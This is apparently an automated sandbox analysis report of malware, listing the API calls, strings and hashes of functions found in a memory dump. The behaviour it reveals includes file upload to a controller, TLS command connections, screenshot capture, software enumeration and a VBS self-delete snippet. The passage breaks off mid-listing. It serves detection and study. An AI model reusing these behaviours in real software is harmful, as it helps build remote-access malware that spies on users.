Instruction Fuzzy Hash: 520171E0E4431676DB216F3A6C54D4B6F9C9E5125131A087BB409E2292FEBCE800CE6D

Function 0040CDF9 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203fileCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0040CE07
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CE20
CopyFileW.KERNEL32 ref: 0040CED0
_wcslen.LIBCMT ref: 0040CEE6
CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CF6E
CopyFileW.KERNEL32 ref: 0040CF84
SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFC3
_wcslen.LIBCMT ref: 0040CFC6
SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFDD
CloseHandle.KERNEL32 ref: 0040D02D
ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000001), ref: 0040D04B
ExitProcess.KERNEL32 ref: 0040D062

Strings

del, xrefs: 0040CFF5
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, xrefs: 0040CE91, 0040CE96, 0040CEC9, 0040CF7E, 0040CF83, 0040CF8A, 0040CFEB
6, xrefs: 0040CEDA
open, xrefs: 0040D044

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
String ID: 6$C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe$del$open
API String ID: 1579085052-1506045317
Opcode ID: 796ba6405bd8a90df0372751ab310b3abe3628a0db2faaf63edc81667cb98c6a
Instruction ID: 6918cae47ac4af68ec004dabb58255b0e3542cbe00f5913d2fcd66cab837b2ae
Opcode Fuzzy Hash: 796ba6405bd8a90df0372751ab310b3abe3628a0db2faaf63edc81667cb98c6a
Instruction Fuzzy Hash: CA51A620208302ABD605B7659C92A6F679D9F84719F10443FF609A62E3EFBC9D05866E

Function 0041C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 0041C036
_memcmp.LIBVCRUNTIME ref: 0041C04E
lstrlenW.KERNEL32(?), ref: 0041C067
FindFirstVolumeW.KERNEL32 ref: 0041C0A2
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C0B5
QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C0F9
lstrcmpW.KERNEL32(?,?), ref: 0041C114
FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C12C
_wcslen.LIBCMT ref: 0041C13B
FindVolumeClose.KERNEL32 ref: 0041C15B
GetLastError.KERNEL32 ref: 0041C173
GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C1A0
lstrcatW.KERNEL32 ref: 0041C1B9
lstrcpyW.KERNEL32(?,?), ref: 0041C1C8
GetLastError.KERNEL32 ref: 0041C1D0

Strings

?, xrefs: 0041C0CD

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
String ID: ?
API String ID: 3941738427-1684325040
Opcode ID: abe7e308a1a6702f98718e9be80ca678ae2d2d31c1c14d85f2c6eaae61ca29ed
Instruction ID: a349862c8cee18361e8dc915c9858c0b302c9409c899df8dda18ff866c7f94c5
Opcode Fuzzy Hash: abe7e308a1a6702f98718e9be80ca678ae2d2d31c1c14d85f2c6eaae61ca29ed
Instruction Fuzzy Hash: 8B416171584316EBD720DFA0DC889EB77ECAB49755F00092BF545C2261EB78C988CBDA

Function 00414D86 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
LoadLibraryA.KERNEL32(?), ref: 00414E17
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
FreeLibrary.KERNEL32(00000000), ref: 00414E3E
LoadLibraryA.KERNEL32(?), ref: 00414E76
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
FreeLibrary.KERNEL32(00000000), ref: 00414E8F
GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
FreeLibrary.KERNEL32(00000000), ref: 00414EB5

Strings

\ws2_32, xrefs: 00414DFF
freeaddrinfo, xrefs: 00414DB2
getaddrinfo, xrefs: 00414D93, 00414E31, 00414E82
\wship6, xrefs: 00414E5E
IA, xrefs: 00414EDD
getnameinfo, xrefs: 00414DA2

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeProc$Load$DirectorySystem
String ID: IA$\ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
API String ID: 2490988753-1941338355
Opcode ID: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
Instruction ID: d7a8240acd80c680e6a706eb94e62412fcb65bdb905c2e3468e0ccb64a1f64dc
Opcode Fuzzy Hash: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
Instruction Fuzzy Hash: 8C31D5B1902315A7C320EF65DC84EDBB7D8AF84744F004A2AF94893250D778DD858BEE

Function 00412AB4 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412ACD

Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041B99F

Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587

Sleep.KERNEL32(0000000A,00465E74), ref: 00412C1F
Sleep.KERNEL32(0000000A,00465E74,00465E74), ref: 00412CC1
Sleep.KERNEL32(0000000A,00465E74,00465E74,00465E74), ref: 00412D63
DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DC5
DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DFC
DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412E38
Sleep.KERNEL32(000001F4,00465E74,00465E74,00465E74), ref: 00412E52
Sleep.KERNEL32(00000064), ref: 00412E94

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Strings

0TG, xrefs: 0041314C
NG, xrefs: 00412F6C
/stext ", xrefs: 00412BAA, 00412C4C, 00412CEE
0TG, xrefs: 00413026
NG, xrefs: 004130C1

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
String ID: /stext "$0TG$0TG$NG$NG
API String ID: 1223786279-2576077980
Opcode ID: 32d90d55cb05bb5b069b036a4d337625a659ecb65ee468f1972c10dd974b4365
Instruction ID: 3b0169c2c8bc9f0d695cedb60fdc7b81a1931596247e975dd6f1dc47d42db627
Opcode Fuzzy Hash: 32d90d55cb05bb5b069b036a4d337625a659ecb65ee468f1972c10dd974b4365
Instruction Fuzzy Hash: 990255311083418AC325FB62D851AEFB3E5AFD4348F50483EF58A971E2EF785A49C65A

Function 0044F42D Relevance: 24.4, APIs: 16, Instructions: 419COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0044F4BF
_free.LIBCMT ref: 0044F4E5
_free.LIBCMT ref: 0044F50E
_free.LIBCMT ref: 0044F546
_free.LIBCMT ref: 0044F577
_free.LIBCMT ref: 0044F5B8
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 0044F639
_free.LIBCMT ref: 0044F652
_free.LIBCMT ref: 0044F6FB
_free.LIBCMT ref: 0044F721
_free.LIBCMT ref: 0044F74A
_free.LIBCMT ref: 0044F77F
_free.LIBCMT ref: 0044F7B0
_free.LIBCMT ref: 0044F7F1
SetEnvironmentVariableW.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0044F876
_free.LIBCMT ref: 0044F88F

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free$EnvironmentVariable
String ID:
API String ID: 1464849758-0
Opcode ID: 8c398c17f7198d8e95fa4204fbdfe0aa09a5082618e125736fc7a2c78f972757
Instruction ID: f75d98bba309171a1893162bbba9979c566f834f65d54a181aa040c21db392b6
Opcode Fuzzy Hash: 8c398c17f7198d8e95fa4204fbdfe0aa09a5082618e125736fc7a2c78f972757
Instruction Fuzzy Hash: C4D13672D007006BFB20AF799D81A6B77A4EF01318F05427FE919A7382EB3D99058799

Function 0041C68F Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C6B1
RegEnumKeyExA.ADVAPI32 ref: 0041C6F5
RegCloseKey.ADVAPI32(?), ref: 0041C9BF

Strings

UninstallString, xrefs: 0041C7A4
InstallLocation, xrefs: 0041C77C
DisplayVersion, xrefs: 0041C768
DisplayName, xrefs: 0041C73C
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0041C6A7
InstallDate, xrefs: 0041C790
Publisher, xrefs: 0041C751

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
API String ID: 1332880857-3714951968
Opcode ID: 131f557390299a5fb98f0b65c13fdfd9cb57ca643134b75c275777f897c8710a
Instruction ID: af0903b0dab8fbea49832074ad132f154b97281cd99b968e1e8b6bf9777b958e
Opcode Fuzzy Hash: 131f557390299a5fb98f0b65c13fdfd9cb57ca643134b75c275777f897c8710a
Instruction Fuzzy Hash: 248144711083419BC325EF11D851EEFB7E8BF94309F10492FB589921A1FF78AE49CA5A

Function 0041D58F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D5DA
GetCursorPos.USER32(?), ref: 0041D5E9
SetForegroundWindow.USER32(?), ref: 0041D5F2
TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D60C
Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D65D
ExitProcess.KERNEL32 ref: 0041D665
CreatePopupMenu.USER32 ref: 0041D66B
AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D680

Strings

Close, xrefs: 0041D671

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
String ID: Close
API String ID: 1657328048-3535843008
Opcode ID: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
Instruction ID: 483e3be36cf21f9f431d69439bfbb75804d706e25d1e382f075e68ac53faeb55
Opcode Fuzzy Hash: dc0ab9a0fe4ab677523636461039160516679b910eee6fe46bba41fdb84f3345
Instruction Fuzzy Hash: 392127B1944208FFDB194FA4ED0EAAA3B65FB08342F000135FA0A950B1D775EDA1EB5D

Function 00445D56 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00445DC6
_free.LIBCMT ref: 00445DDC
_free.LIBCMT ref: 00445DED
_free.LIBCMT ref: 00445DFE
_free.LIBCMT ref: 00445E15
GetCPInfo.KERNEL32(?,?), ref: 00445E5D

Part of subcall function 00452E74: _free.LIBCMT ref: 00452EDF

_free.LIBCMT ref: 00446009
_free.LIBCMT ref: 0044601C
_free.LIBCMT ref: 0044602A
_free.LIBCMT ref: 00446035
_free.LIBCMT ref: 00446077
_free.LIBCMT ref: 0044607F
_free.LIBCMT ref: 00446087
_free.LIBCMT ref: 0044608F
_free.LIBCMT ref: 0044609D

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 5869cf30a6bc76c96b91810e50649579c2b114ba446574e9e9616964d5930224
Instruction ID: 88ee944febda996c7adaaf7605242af7944d99fb061a5fd2e4f26fad8993db39
Opcode Fuzzy Hash: 5869cf30a6bc76c96b91810e50649579c2b114ba446574e9e9616964d5930224
Instruction Fuzzy Hash: 75B1CD719006059FEF20DF69C881BEEBBB4FF09304F14412EF5A8A7242D6799D45CB65

Function 00408B7A Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00408CE3
GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D1B
__aulldiv.LIBCMT ref: 00408D4D

Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408E70
ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408E8B
CloseHandle.KERNEL32(00000000), ref: 00408F64
CloseHandle.KERNEL32(00000000), ref: 00408FAE
CloseHandle.KERNEL32(00000000), ref: 00408FFC

Strings

Uploading file to Controller: , xrefs: 00408DD5
ReadFile error, xrefs: 00408FC8
NG, xrefs: 00408C17
SetFilePointerEx error, xrefs: 00408FD4

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
API String ID: 3086580692-2582957567
Opcode ID: 63a76c325e571f1cbcae1b5be894793c9b49cb204c16b04160e7bd094f2be9c7
Instruction ID: 4fd1ef8f0950b8c70c5ee12d710945c0a569e6ad21e20d2a74dcf75f3ec9a52d
Opcode Fuzzy Hash: 63a76c325e571f1cbcae1b5be894793c9b49cb204c16b04160e7bd094f2be9c7
Instruction Fuzzy Hash: 95B193716083409BC314FB25C982AAFB7E5AFC4354F50492FF589622D2EF789945CB8B

Function 0040A726 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 0040A740

Part of subcall function 0040A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
Part of subcall function 0040A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
Part of subcall function 0040A675: Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
Part of subcall function 0040A675: CloseHandle.KERNEL32(00000000), ref: 0040A6EE

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A77C
GetFileAttributesW.KERNEL32(00000000), ref: 0040A78D
SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7A4
PathFileExistsW.SHLWAPI(00000000), ref: 0040A81E

Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E

SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466468,00000000,00000000,00000000), ref: 0040A927

Strings

pQG, xrefs: 0040A761
PG, xrefs: 0040A907
8SG, xrefs: 0040A802
PG, xrefs: 0040A7AC
pQG, xrefs: 0040A771
8SG, xrefs: 0040A7F7

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
String ID: 8SG$8SG$pQG$pQG$PG$PG
API String ID: 3795512280-1152054767
Opcode ID: b31c50cb41c594cd8e106afa8ace3062c512e2322da02270ac33e7625d16e47b
Instruction ID: 265ddfea45d140738b9a7e0f0353a6f5be26653907181caffe3561bb72ed66c0
Opcode Fuzzy Hash: b31c50cb41c594cd8e106afa8ace3062c512e2322da02270ac33e7625d16e47b
Instruction Fuzzy Hash: A7517E716043055ACB09BB32C866ABE739A9F80349F00483FB642B71E2DF7C9D09865E

Function 004048C8 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 144networkCOMMON

Download Yara Rule

APIs

connect.WS2_32(?,?,?), ref: 004048E0
CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
WSAGetLastError.WS2_32 ref: 00404A21

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

Strings

TLS Authentication Failed, xrefs: 00404999
TLS Error 1, xrefs: 00404937
PkGNG, xrefs: 004048C8
Connection Failed: , xrefs: 00404A43
TLS Handshake... | , xrefs: 00404904
Connection Refused, xrefs: 00404A76
TLS Error 3, xrefs: 004049D8
TLS Error 2, xrefs: 00404955

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: CreateEvent$ErrorLastLocalTimeconnect
String ID: Connection Failed: $Connection Refused$PkGNG$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
API String ID: 994465650-3229884001
Opcode ID: 544a8dfd755885537e58458bfc18e92728dddd0fb449b18b6c8fe8c32441fe06
Instruction ID: c5d57dbf39bf42eeb7f1fe8451fa1a1ddda5cb55b73798f96fdafd5064c5310c
Opcode Fuzzy Hash: 544a8dfd755885537e58458bfc18e92728dddd0fb449b18b6c8fe8c32441fe06
Instruction Fuzzy Hash: 3E41E8B47406016BD61877BA8D1B53E7A15AB81304B50017FE60267AD3EB7D9C108BDF

Function 004512C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0045130A

Part of subcall function 00450502: _free.LIBCMT ref: 0045051F
Part of subcall function 00450502: _free.LIBCMT ref: 00450531
Part of subcall function 00450502: _free.LIBCMT ref: 00450543
Part of subcall function 00450502: _free.LIBCMT ref: 00450555
Part of subcall function 00450502: _free.LIBCMT ref: 00450567
Part of subcall function 00450502: _free.LIBCMT ref: 00450579
Part of subcall function 00450502: _free.LIBCMT ref: 0045058B
Part of subcall function 00450502: _free.LIBCMT ref: 0045059D
Part of subcall function 00450502: _free.LIBCMT ref: 004505AF
Part of subcall function 00450502: _free.LIBCMT ref: 004505C1
Part of subcall function 00450502: _free.LIBCMT ref: 004505D3
Part of subcall function 00450502: _free.LIBCMT ref: 004505E5
Part of subcall function 00450502: _free.LIBCMT ref: 004505F7

_free.LIBCMT ref: 004512FF

Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA

_free.LIBCMT ref: 00451321
_free.LIBCMT ref: 00451336
_free.LIBCMT ref: 00451341
_free.LIBCMT ref: 00451363
_free.LIBCMT ref: 00451376
_free.LIBCMT ref: 00451384
_free.LIBCMT ref: 0045138F
_free.LIBCMT ref: 004513C7
_free.LIBCMT ref: 004513CE
_free.LIBCMT ref: 004513EB
_free.LIBCMT ref: 00451403

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
Instruction ID: 673b37a441ff9bbb7eb6cd98574e5fa8379d72fae64c09c4febd1ea684bb8cd8
Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
Instruction Fuzzy Hash: 0E319E315007009FFB20AA7AD845B5B73E8EF0131AF50851FEC68D7662DF78AD448B59

Function 00419FB4 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00419FB9
GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 00419FEB
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 0041A077
Sleep.KERNEL32(000003E8), ref: 0041A0FD
GetLocalTime.KERNEL32(?), ref: 0041A105
Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A1F4

Strings

PG, xrefs: 0041A1AD
time_%04i%02i%02i_%02i%02i%02i, xrefs: 0041A09F
PG, xrefs: 0041A016
wnd_%04i%02i%02i_%02i%02i%02i, xrefs: 0041A09A, 0041A0BB, 0041A129
PG, xrefs: 0041A0C9

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
API String ID: 489098229-1431523004
Opcode ID: 794bb2b208bad590467bd00f6a6004f6f957c756b4e279e9b706f936551238fb
Instruction ID: 65e100c03f0dda0ba9a952c873ad8774fe275ee1deca45487f64c7c8a8292b0e
Opcode Fuzzy Hash: 794bb2b208bad590467bd00f6a6004f6f957c756b4e279e9b706f936551238fb
Instruction Fuzzy Hash: E7515D70A00215AACB14BBB5C8529ED7BA9AB44308F40403FF509AB1E2EF7C9D85C799

Function 0040D7FF Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,?,0040D80F), ref: 00412860
Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF,?,0040D80F), ref: 00412873

Part of subcall function 004136F8: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?), ref: 00413714
Part of subcall function 004136F8: RegQueryValueExA.ADVAPI32 ref: 0041372D
Part of subcall function 004136F8: RegCloseKey.ADVAPI32(?), ref: 00413738

GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D859
ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D9B8
ExitProcess.KERNEL32 ref: 0040D9C4

Strings

""", 0, xrefs: 0040D8E1
8SG, xrefs: 0040D80F
exepath, xrefs: 0040D831
CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName), xrefs: 0040D967
.vbs, xrefs: 0040D85F
open, xrefs: 0040D9B2
CreateObject("WScript.Shell").Run "cmd /c "", xrefs: 0040D8F9
Temp, xrefs: 0040D89A

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
API String ID: 1913171305-3159800282
Opcode ID: 8540ee6109fc5d5e06acd7d4b9875de3834636e3193428be82b889be829a6c91
Instruction ID: 6fc8d312854778a25908ca85050b1cee1951ef16e4956e50e312a563d71e527c
Opcode Fuzzy Hash: 8540ee6109fc5d5e06acd7d4b9875de3834636e3193428be82b889be829a6c91
Instruction Fuzzy Hash: 0C413A719001195ACB15FA62DC56DEEB778AF50309F10007FB10AB61E2EF785E4ACA98

Function 00450600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00450648
_free.LIBCMT ref: 0045066C
_free.LIBCMT ref: 00450679
_free.LIBCMT ref: 0045069E
_free.LIBCMT ref: 004506AB
_free.LIBCMT ref: 004506B4
_free.LIBCMT ref: 00450992
_free.LIBCMT ref: 0045099A

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f13b302446b66475bb18d5d42f55ab1b7190c32ccf1072046f607fb9a40aa2ef
Instruction ID: d910990a8472ee08c0279d8077499983e41ff25138a9859a729e4309013b5263
Opcode Fuzzy Hash: f13b302446b66475bb18d5d42f55ab1b7190c32ccf1072046f607fb9a40aa2ef
Instruction Fuzzy Hash: E2C17476D40204AFEB20DBA9CC83FDE77B8AB19705F14015AFE05EB283D6B49D458798

Function 00455BDB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004558A9: CreateFileW.KERNEL32(00000000,00000000,?,00455C84,?,?,00000000), ref: 004558C6

GetLastError.KERNEL32 ref: 00455CEF
__dosmaperr.LIBCMT ref: 00455CF6
GetFileType.KERNEL32 ref: 00455D02
GetLastError.KERNEL32 ref: 00455D0C
__dosmaperr.LIBCMT ref: 00455D15
CloseHandle.KERNEL32(00000000), ref: 00455D35
CloseHandle.KERNEL32(?), ref: 00455E7F
GetLastError.KERNEL32 ref: 00455EB1
__dosmaperr.LIBCMT ref: 00455EB8

Strings

H, xrefs: 00455E3D

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
Instruction ID: f4290dc4267d91ba683862cdaabef3013db21248f4240db41616def06e578eae
Opcode Fuzzy Hash: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
Instruction Fuzzy Hash: D5A155329106049FDF19AF68DC617BE3BA0EB06325F14415EEC11EB392CB398D5ACB59

Function 00453D83 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00453E2F
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453EB2
__alloca_probe_16.LIBCMT ref: 00453EEA
MultiByteToWideChar.KERNEL32(00000001,00000001,?,00000001,00000000,\@E,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F45
__alloca_probe_16.LIBCMT ref: 00453F94
MultiByteToWideChar.KERNEL32(00000001,00000009,00000001,00000000,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F5C

